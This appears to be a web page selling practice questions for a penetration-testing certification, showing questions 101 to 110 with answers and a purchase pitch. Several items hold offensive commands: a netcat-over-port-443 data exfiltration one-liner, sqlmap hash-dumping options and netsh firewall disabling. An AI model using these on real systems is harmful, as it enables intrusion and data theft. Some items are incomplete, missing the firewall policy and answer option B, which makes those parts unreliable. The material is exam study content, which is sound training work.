During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?
A. certutil.exe
B. bitsadmin.exe
C. msconfig.exe
D. netsh.exe
Show Answer
Correct Answer: D
Explanation: netsh.exe (Network Shell) can view and modify network configuration, including enabling or disabling the Windows Firewall (e.g., via netsh advfirewall commands). The other options do not control firewall settings.
Question 102
During a security assessment, a penetration tester wants to compromise user accounts without triggering IDS/IPS detection rules. Which of the following is the most effective way for the tester to accomplish this task?
A. Crack user accounts using compromised hashes.
B. Brute force accounts using a dictionary attack.
C. Bypass authentication using SQL injection.
D. Compromise user accounts using a XSS attack.
Show Answer
Correct Answer: A
Explanation: Cracking user accounts from already compromised password hashes is performed offline and does not generate authentication attempts or suspicious network traffic. As a result, it is far less likely to trigger IDS/IPS detection compared to brute-force attacks, SQL injection, or XSS, which typically involve detectable network activity and signatures. Therefore, it is the most effective stealthy method.
Question 103
A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?
A. Network configuration errors in Kubernetes services
B. Weaknesses and misconfigurations in the Kubernetes cluster
C. Application deployment issues in Kubernetes
D. Security vulnerabilities specific to Docker containers
Show Answer
Correct Answer: B
Explanation: kube-hunter is designed to identify security weaknesses and misconfigurations in Kubernetes clusters, such as exposed APIs, insecure configurations, and improper access controls. It does not focus on application deployment issues or container-specific vulnerabilities.
Question 104
A penetration tester runs a network scan but has some issues accurately enumerating the vulnerabilities due to the following error:
OS identification failed -
Which of the following is most likely causing this error?
A. The scan did not reach the target because of a firewall block rule.
B. The scanner database is out of date.
C. The scan is reporting a false positive.
D. The scan cannot gather one or more fingerprints from the target.
Show Answer
Correct Answer: D
Explanation: An "OS identification failed" error occurs when the scanner cannot collect sufficient or reliable OS fingerprinting data from the target. OS detection depends on responses to specific probes (e.g., TCP/IP stack characteristics). If those responses are missing, filtered, or altered, the scanner cannot complete fingerprinting, leading to this error.
Question 105
A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?
A. DAST
B. SAST
C. IAST
D. SCA
Show Answer
Correct Answer: A
Explanation: Dynamic Application Security Testing (DAST) is best suited because it tests a running web application from the outside, actively interacting with and fuzzing input fields to identify vulnerabilities such as SQL injection and XSS. SAST analyzes source code, IAST requires application instrumentation and is more development-focused, and SCA only checks third‑party dependencies.
Question 106
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to ensure that reverse shell payloads are no longer running?
A. Run scripts to terminate the implant on affected hosts.
B. Spin down the C2 listeners.
C. Restore the firewall settings of the original affected hosts.
D. Exit from C2 listener active sessions.
Show Answer
Correct Answer: A
Explanation: Reverse shell payloads are implants running on the compromised hosts. Proper cleanup requires actively terminating those processes or removing the implants on each affected system. Shutting down C2 listeners, exiting sessions, or restoring firewall rules may reduce connectivity but does not stop the payload itself from persisting or attempting callbacks.
Question 107
A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings, and high-level statements. Which of the following sections of the report would most likely contain this information?
A. Quality control
B. Methodology
C. Executive summary
D. Risk scoring
Show Answer
Correct Answer: C
Explanation: The executive summary is intended for stakeholders and management, providing high-level findings, overall security posture, and the business impact of the engagement. Other sections focus on process details, internal checks, or scoring specifics rather than summarizing impact and key results.
Question 108
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Which of the following commands should the tester try next?
A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz
D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz
Show Answer
Correct Answer: A
Explanation: The firewall policy allows outbound connections only on TCP port 443 and blocks SSH/port 22 and other ports. Option A correctly stages the data into a compressed tar archive and exfiltrates it using netcat over port 443, which is permitted. Options B is not a network transfer, C attempts to use blocked port 22 and misuses netcat, and D relies on SCP/SSH which is also blocked.
Question 109
During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?
A. sqlmap -u www.example.com/?id=1 --search -T user
C. sqlmap -u www.example.com/?id=1 --tables -D accounts
D. sqlmap —u www.example.com/?id=1 --schema --current-user --current-db
Show Answer
Correct Answer: B
Explanation: The goal is to enumerate (extract) password hashes from the database. Using sqlmap, this is done by dumping specific columns from a table that stores credentials. Option B uses --dump with a target database (accounts), table (users), and column (cred), which would retrieve stored password hashes. The other options only search for objects, list tables, or show schema/user information and do not extract credential data.
Question 110
A penetration tester must identify vulnerabilities within an ICS that is not connected to the internet or enterprise network. Which of the following should the tester utilize to conduct the testing?
A. Channel scanning
B. Stealth scans
C. Source code analysis
D. Manual assessment
Show Answer
Correct Answer: D
Explanation: The ICS is air-gapped (not connected to the internet or enterprise network), so network-based techniques like channel scanning or stealth scans are not applicable. Source code analysis is often not feasible due to proprietary firmware and lack of access. In such environments, vulnerabilities are best identified through hands-on inspection of devices, configurations, physical interfaces, and operational procedures—i.e., a manual assessment.
$19
Get all 220 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.